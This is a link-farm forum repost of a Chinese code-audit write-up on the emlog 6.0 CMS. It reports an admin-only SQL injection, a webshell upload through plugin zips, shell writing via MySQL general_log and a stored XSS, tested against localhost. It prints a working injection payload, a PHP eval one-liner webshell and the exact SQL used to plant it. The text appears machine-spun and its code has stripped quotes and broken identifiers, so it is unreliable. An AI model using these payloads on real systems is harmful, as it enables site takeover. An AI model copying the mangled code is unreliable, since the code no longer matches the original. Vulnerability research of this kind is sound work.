外链论坛

 找回密码
 立即注册
搜索
查看: 1|回复: 0

CMS代码审计之emlog 6.0

[复制链接]

2632

主题

312

回帖

9910万

积分

论坛元老

Rank: 8Rank: 8

积分
99100596
发表于 4 小时前 | 显示全部楼层 |阅读模式

1、前言

本小菜是刚起始玩代码审计,近期发掘个比较有趣的CMS跟大众分享一波,虽然只找到有些鸡肋漏洞。废话不多说起始进入正题,这次审计的CMS是emlog 6.0.0版本,官方位置为:http://www.emlog.net。

2、审计思路

在学习先辈们的文案后,自己稍微总结一下代码审计的思路重点能够分为以下四种。

1) 查询可控变量,正向跟踪变量传递过程,查看变量是不是进行进行过滤,是不是进行后台交互。

2) 查询敏锐函数,如Select、Insert等,回溯该函数的参数是不是进行过滤、是不是可控。

3) 寻敏锐功能点,通读功能点模块,如上传点。

4) 直接通读全文代码,这种方式能够更好的理解代码的业务规律,能够挖掘出更有价值的漏洞

3、审计过程

1. Sql注入

废话不多说,像本小菜这种级别的还是比较爱好第1种思路,简单粗暴。

首要认识一下代码大概规律结构,而后用notepad大法搜索一下$_GET参数瞧瞧那些输入没进行过滤,咱们再进行切入。经过搜索发掘/admin/comment.php中未对$_GET[‘ip’]进行任何限制,接下来就查看IP这个参数是不是进行了敏锐操作

当action等于delbyip时,对token进行判定,查看是不是是管理员,而后将$_GET[‘ip’]赋值给$ip,而后再调用dleCommentByIp($ip)函数,代码如下:

if ($action== delbyip) {    LoginAuth::checkToken();if (ROLE != ROLE_ADMIN) {        emMsg(权限不足!, ./);    }    $ip = isset($_GET[ip]) ? $_GET[ip] : ;    $Comment_Model->delCommentByIp($ip);    $CACHE->updateCache(array(sta,comment));    emDirect("./comment.php?active_del=1"); }

接下来进行跟进class Comment_Model的delCommentByIp函数,继续运用搜索大法,在/inludes/model/comment_model.php中发掘delCommentByIp函数,跟进delCommentByIp函数,能够看出这个函数直接将传入的参数$ip,代入“SELECT DISTINCT gid FROM “.DB_PREFIX.”comment WHERE ip=’$ip’”进行sql查找,此过程中未发掘任何过滤行径咱们只需经过封闭单引号而后进行报错注入。

function delCommentByIp($ip) {        $blogids = array();        $sql ="SELECT DISTINCT gid FROM ".DB_PREFIX."comment WHERE ip=$ip";        $query = $this->db->query($sql);        while($row = $this->db->fetch_array($query)) {            $blogids[] = $row[gid];        }        $this->db->query("DELETE FROM ".DB_PREFIX."comment WHERE ip=$ip"

);        $this->updateCommentNum($blogids);    }

接下来就进行漏洞验证了,拜访http://127.0.0.1/emlog/admin/comment.php,点击按照ip删除,用burpsuite抓取数据包,构造payload

/emlog/admin/comment.php?action=delbyip&token=abac6e12c2abe9b29797b64481ef6ed4&ip=127.0.0.1′and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#  注入时得进行编码处理才可成功,当然各位师傅的骚操作比我多。

比较尴尬的是该注入点进行了权限校验,便是仅有管理员才可注入,因此该漏洞非常的鸡肋,当然只是分享一下自己的学习审计过程。

2. 文件上传漏洞

在admin/plugin.php插件上传处存在上传漏洞,经过上传zip压缩的文件,就可上传木马文件。在plugin.php约79行处的上传点当action为upload_zip进行判断,先判断是不是上传文件是不是为空..

if ($action == upload_zip) {    LoginAuth::checkToken();    $zipfile = isset($_FILES[pluzip]) ? $_FILES[pluzip] : ;    if ($zipfile[error] == 4) {        emDirect("./plugin.php?error_d=1");    }    if (!$zipfile || $zipfile[error] >= 1 || empty($zipfile[tmp_name])) {        emMsg(插件上传失败);    }    if (getFileSuffix($zipfile[name]) != zip) { //判断后缀名是不是为zip        emDirect("./plugin.php?error_f=1");    }    $ret = emUnZip($zipfile[tmp_name], ../content/plugins/, plugin);//解压zip文件到../content/plugins/目录下    switch ($ret) {        case 0:            emDirect("./plugin.php?activate_install=1#tpllib");            break;        case -1:            emDirect("./plugin.php?error_e=1");            break;        case 1:        case 2:            emDirect("./plugin.php?error_b=1");            break;        case 3:            emDirect("./plugin.php?error_c=1");            break;    } }

而后经过include\lib\function.base.php中的getFilesuSuffix函数获取后缀名,并判断是不是为zip。

function getFileSuffix($fileName) {    return

strtolower(pathinfo($fileName,  ATHINFO_EXTENSION)); }

之后经过include\lib\function.base.php中emUnzip函数进行解压zip文件,在解压的过程中会对压缩包里的文件名叫作进行判断,倘若你压缩包名叫作为test则压缩包里必须存在test.php文件,否者会进行报错。

function emUnZip($zipfile, $path, $type = tpl) {    if(!class_exists(ZipArchive, FALSE)) {        return 3;//zip模块问题    }    $zip = new ZipArchive();    if (@$zip->open($zipfile) !== TRUE) {        return 2;//文件权限问题    }    $r = explode(/, $zip->getNameIndex(0), 2);    $dir = isset($r[0]) ? $r[0] . / : ;    switch ($type) {        case tpl:            $re = $zip->getFromName($dir . header.php);            if (false === $re)                return -2;            break;        case plugin:            $plugin_name = substr($dir, 0, -1);            $re = $zip->getFromName($dir . $plugin_name . .php);//判断是不是存在与文件夹名叫作相同的php文件            if (false === $re)                return -1;            break;        case backup:            $sql_name = substr($dir, 0, -1);            if (getFileSuffix($sql_name) != sql)                return -3;            break;        case update:            break;    }    if (true === @$zip->extractTo($path)) {        $zip->close();        return 0;    } else {        return 1;//文件权限问题

   } }

漏洞验证:

将一句话木马以zip格式进行压缩

而后在插件上传处上传插件

上传成功后运用菜刀连接content/plugins/test1/test1.php,获取webshell。

3. 数据库备份拿shell

数据库拿shell重点有两种方式:

1、select …into outfile  利用需要的要求有:对web目录需要有写权限;能够运用单引号;晓得绝对路径;配置-secure-file-priv

2、经过general_log,将日志写入特定目录下,利用要求又:对web目录需要要写权限;能够运用单引号;晓得绝对路径;能够执行多行sql语句。

先尝试第1办法,先备份sql语句,在其基本插进select “<?php @eval($_POST[cmd]) ?>” into outfile ‘eval.php’语句就ok了,然则因为配置了secure-file-priv,因此GG,这个办法行不通。

运用第二种办法设置了 general_log 和 general_log_file之后所有SQL记录都会写入指定的文件,因此能够经过这种办法将php语句写到log中。查找语句如下

set global general_log=on;

SET global general_log_file=C:/phpStudy/PHPTutorial/WWW/emlog/eval.php

SELECT <?php phpinfo();?>;

接下来操作如上导入备份文件就可,在C:/phpStudy/PHPTutorial/WWW/emlog/目录下生成eval.php的log文件。

拜访http://127.0.0.1/emlog/eval.php,查看获取shell。

4. 存储型xss

后台链接添加处admin/link.php 【http://localhost/admin/link.php】,siteurl参数输出时未进行实体化处理引起,存储型xss。在$action=addlink时,经过addslashes函数进行转义处理,防止进行sql注入,然则未进行任何的html实体化,过滤处理。经过第44行代码可发掘进行了正则匹配因此咱们构造的payload需以http、ftp开头,才可进型数据插进

if ($action== addlink) {    $taxis = isset($_POST[taxis]) ? intval(trim($_POST[taxis])) : 0;    $sitename =isset($_POST[sitename]) ? addslashes(trim($_POST[sitename])) : ;    $siteurl = isset($_POST[siteurl]) ? addslashes(trim($_POST[siteurl])) : ;    $description =isset($_POST[description]) ? addslashes(trim($_POST[description])) : ;    if ($sitename == || $siteurl ==) {        emDirect("./link.php?error_a=1");    }    if (!preg_match("/^http|ftp.+$/i", $siteurl)) { //需以httpftp开头,        $siteurl = http://.$siteurl;    }    $Link_Model->addLink($sitename, $siteurl, $description, $taxis);    $CACHE->updateCache(link);    emDirect("./link.php?active_add=1"); }

经过addLink函数插进链接,接下来跟进/include/model/link_model.php中的link_Model->addLink函数,该函数将经过addslashes转义完的链接插进数据库 进行存储。

function addLink($name, $url, $des, $taxis) { if ($taxis > 30000 || $taxis < 0) { $taxis = 0; } $sql="insert into ".DB_PREFIX."link (sitename,siteurl,description,taxis) values($name,$url,$des, $taxis)"; $this->db->query($sql); }

接下来跟进输出状况,当action参数为空,经过/include/model/link_model.php中的Link_Model->getLinks()函数从数据库查找sitename、description、siteurl,并返回查找结果,最后由View:utput()进行输出。getLinks()函数查找数据库获取,获取sitename、description、siteurl数据,查看可发掘未对siteurl参数进行实体化和过滤处理。

查看/include/lib/view.php 中的View:utput函数,最后结果经过echo输出,在全部过程都未对siteurl进行实体化、过滤处理,引起最后导致存储型xss。

漏洞验证

4、结束语

这个cms漏洞当然不止这些,还有非常多问题。其实全部过程中审计的漏洞利用价值都不大,堪叫作鸡肋,本文只是分享自己学习的过程,由简单到繁杂,分享一下自己的学习体会罢了,望各位师傅多多包涵。

*本文作者:fishyyh,转载请注明来自FreeBuf.COM。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

站点统计|Archiver|手机版|小黑屋|外链论坛 ( 非经营性网站 )|网站地图

GMT+8, 2024-10-3 17:23 , Processed in 0.073774 second(s), 19 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.